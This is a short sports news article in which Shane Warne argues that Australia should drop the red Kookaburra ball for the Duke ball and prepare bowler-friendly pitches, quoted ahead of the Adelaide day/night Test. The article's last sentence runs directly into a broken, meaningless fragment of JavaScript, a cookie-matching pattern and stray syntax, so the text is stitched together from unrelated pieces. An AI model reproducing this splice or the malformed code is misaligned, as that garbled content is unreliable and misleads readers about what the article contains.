Shane Warne says Cricket Australia should stop using the Kookaburra cricket balls in favour of the Duke ball.
The Kookaburra has copped plenty of criticism after the first two Tests between Australia and New Zealand, and several changes mid way through sessions.
Warne said the Duke ball, which is used in England should be used instead.
“I’ve been saying for a while we need four-day Test matches, and I believe the Dukes balls that are used during the Ashes series should be used worldwide in Test matches and all first-class cricket in Australia, especially on our hard pitches,’’ Warne told The Advertiser.
“The white Kookaburra should be used in all one-day cricket and Twenty20 matches. But you don’t want to see the (red) Kookaburra being changed up to 10 or 12 times during a game.
“If you have a uniform ball, it also makes it easier for the manufacturers (to make balls) for different surfaces, and they’ll know what to do.
The historic day/night Test between Australia and New Zealand at Adelaide Oval is said to be a more bowler friendly pitch than the first two Test pitches.
“Get rid of the flat wickets and let’s have a contest between bat and ball," Warne said.
“Let’s hope Adelaide is a nice pitch to start with, then it breaks up and turns and reverse swings, because we don’t want these flat wickets and have ‘600 versus 600’.
“What we want in Test cricket and in any sport are characters. We need characters, and you can’t have characters if you’ve got flat wickets because all it does is create boring cricket. If you’ve got a wicket that seams or does something, you get emotions from players.’’ "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}
